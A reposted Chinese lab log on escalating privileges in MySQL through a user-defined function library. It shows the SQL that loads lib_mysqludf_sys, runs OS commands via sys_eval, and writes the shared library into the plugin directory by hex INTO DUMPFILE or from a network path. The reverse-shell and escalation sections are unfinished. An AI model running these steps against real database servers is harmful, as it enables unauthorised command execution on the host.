MySQL提权 通过UDF

UDF是什么

参考:https://www.cnblogs.com/litlife/p/9030673.html

UDF = ‘user defined function’,即用户自定义函数。 通过添加新函数,对MySQL的功能进行扩充,就类似使用本地函数如abs() 或 concat() 一样。

UDF在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为 .dll.so;

命令执行

参考:https://blog.csdn.net/x728999452/article/details/52413974
参考:https://blog.csdn.net/jssg_tzw/article/details/73235232
参考:https://www.cnblogs.com/xishaonian/p/6016486.html
参考:https://www.cnblogs.com/yunsicai/p/4080864.html

我跟着步骤执行失败了,调试了很久,暂时先放弃了。记录一下失败的过程,后期解决。
1.信息收集
show variables like '%version_%';

MySQL提权 通过UDF

show variables like "%plugin%";

MySQL提权 通过UDF

select @@version;

MySQL提权 通过UDF

2.将mysql里面自带的lib_mysqludf_sys.so拷贝到MySQL服务器的./plugin路径

MySQL提权 通过UDF

因为没有对 /usr/lib/mysql的读写权限,这里暂时找到别的方法绕过,现在手动上传,体验一下UDF而已。

这里也需要注意:利用UDF,有个前提条件就是对 /usr/lib/mysql要有读写权限。

MySQL提权 通过UDF

MySQL提权 通过UDF

3.执行命令

create function sys_eval returns string soname 'lib_mysqludf_sys.so';

报错:

sql> create function sys_eval returns string soname 'lib_mysqludf_sys.so'
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)

在尝试别的命令看看:

参考
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

我先执行一个
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';

报错:

[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
sql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)

很难过,没有执行成功。心有不甘的吃饭去了。

后面想应该还是自己步骤不对,就找了一份正确的步骤,看看别人是怎么操作,通过和别人的对比,知道是我的.so有问题。(mysql里面的.so 应该是加密过了,导致不起作用)

https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
在这里重新下载了新的.so ,并放到 ./plugin路径下之后。

执行命令:

create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';

select sys_eval('pwd');

MySQL提权 通过UDF

执行成功 !激动。

后续总结一下上传问题:
如果你有对改路径读写权限,有几种方式写入:

  • 直接写二进制文本(或者加密后的文本)
  • 通过网络路径写入 load_file(///192.168.0.1/udf.so)

文本写入 Example:

select "7f45 4c46 0201 0100 0000 0000 0000 0000
0300 3e00 0100 0000 d00c 0000 0000 0000
太长了,省略N行...

0000 0000 0000 0000 0100 0000 0000 0000
0000 0000 0000 0000 " into dumpfile '/usr/local/mysql/lib/plugin/udf_test.so';

MySQL提权 通过UDF

MySQL提权 通过UDF
写入成功。

远程写入

select "///10.0.27.35/learnphp/udf/lib_mysqludf_sys_64.so" into dumpfile '/usr/local/mysql/lib/plugin/udf_test1.so';

MySQL提权 通过UDF

MySQL提权 通过UDF

反弹Shell

to-do.

提权

获得管理员权限

to-do.

文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。

Original: https://www.cnblogs.com/mysticbinary/p/14403031.html
Author: Mysticbinary
Title: MySQL提权 通过UDF

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578349/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • shell join详解

    首先贴一个,join –help 然后来理解下。 join 【命令选项】 文件1 文件2 //命令选项可以很多, 但文件只能是两个 先从重要的开始说,join 的作用是…

    Linux 2023年5月28日
    084
  • 武装你的WEBAPI-OData常见问题

    本文属于OData系列 Intro 非常喜欢OData,在各种新项目中都使用了这个技术。对于.NET 5.0, OData推出了8.0preview,于是就试用了一下。发现坑还是非…

    Linux 2023年6月6日
    096
  • Linux进度条制作

    进度条 先了解一下/r 的用法 /r 讲光标回到当前行的最开始 4 int main() 5 { 6 int i=0; 7 for(i=0;i10;i++) 8 { 9 print…

    Linux 2023年6月13日
    0105
  • DHCP服务

    一、dhcp介绍 dhcp 应用层协议 动态主机配置协议 作用: 为主机动态分配tcp/ip参数(ip地址、掩码、网关、DNS服务器地址) Linux实现dhcp服务 软件: dh…

    Linux 2023年6月7日
    097
  • acl/客户端缓存/多级缓存

    redis6安装注意点 我们课程里忽略了,就不去安装了,仅仅只提供安装文档,redis6的安装其实和redis5安装差不多,只是需要注意gcc的版本需要提高,不然编译会出错。参考慕…

    Linux 2023年5月28日
    0101
  • 【证券从业】金融基础知识-第三章 证券市场主体01

    注1:后续学习并整理到第八章,全书完结后再合并成一个笔记进行源文件分享 注2:本章内容巨多,大约分为三篇文章记录消化 posted @2022-06-01 22:20 陈景中 阅读…

    Linux 2023年6月13日
    0129
  • Redis的slot迁移

    1) 在目标节点B 上执行,从节点A 导入slot 到节点B : CLUSTER SETSLOT8 IMPORTING src– A-node-id 对于迁移的slot…

    Linux 2023年5月28日
    076
  • Django自带序列化组件;分页器

    django自带的序列化组件 代码实现序列化 models.py class User(models.Model): name = models.CharField(max_len…

    Linux 2023年6月7日
    0107
  • 解决微信Windows客户端无法播放视频问题

    问题描述 我的Windows端微信版本是3.6.0,更新后点开视频,没有播放按钮出现,并且过一会就会卡死,并且整个微信程序崩掉。 问题解决 后来发现,是微信客户端的 播放器插件问题…

    Linux 2023年6月14日
    0393
  • redis 常用命令

    批量删除redis key redis-cli -a xxx keys “prefix_tb_supplier:spl_id*” | xargs redis…

    Linux 2023年5月28日
    0103
  • 初学ajax

    ajax出现无疑改变了web应用:从开始的整体页面的刷新到局部页面的数据显示,不用刷新页面就可以与服务器交互; 1 function ajaxPost(data){ 2 3 var…

    Linux 2023年6月14日
    093
  • LeetCode-1047. 删除字符串中的所有相邻重复项

    题目来源 题目详情 给出由小写字母组成的字符串 S, 重复项删除操作会选择两个相邻且相同的字母,并删除它们。 在 S 上反复执行重复项删除操作,直到无法继续删除。 在完成所有重复项…

    Linux 2023年6月7日
    0136
  • WPF 通过 GifBitmapDecoder 调用 WIC 解析 Gif 和进行动画播放的简单方法

    本文告诉大家如何在 WPF 里,通过 GifBitmapDecoder 调用 WIC 层来解析 GIF 图片,然后采用动画的方式进行播放 使用 WIC 层解析 GIF 图片可以调用…

    Linux 2023年6月6日
    092
  • Linux中CentOS 7的安装及Linux常用命令

    前言 什么是Linux Linux是一套免费使用和自由传播的操作系统。说到操作系统,大家比较熟知的应该就是Windows和MacOS操作系统,我们今天所学习的Linux也是一款操作…

    Linux 2023年6月6日
    0150
  • opencv

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月14日
    0120
  • 有道云笔记迁移到为知笔记

    背景 之前一直用的有&am…

    Linux 2023年6月14日
    0117
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球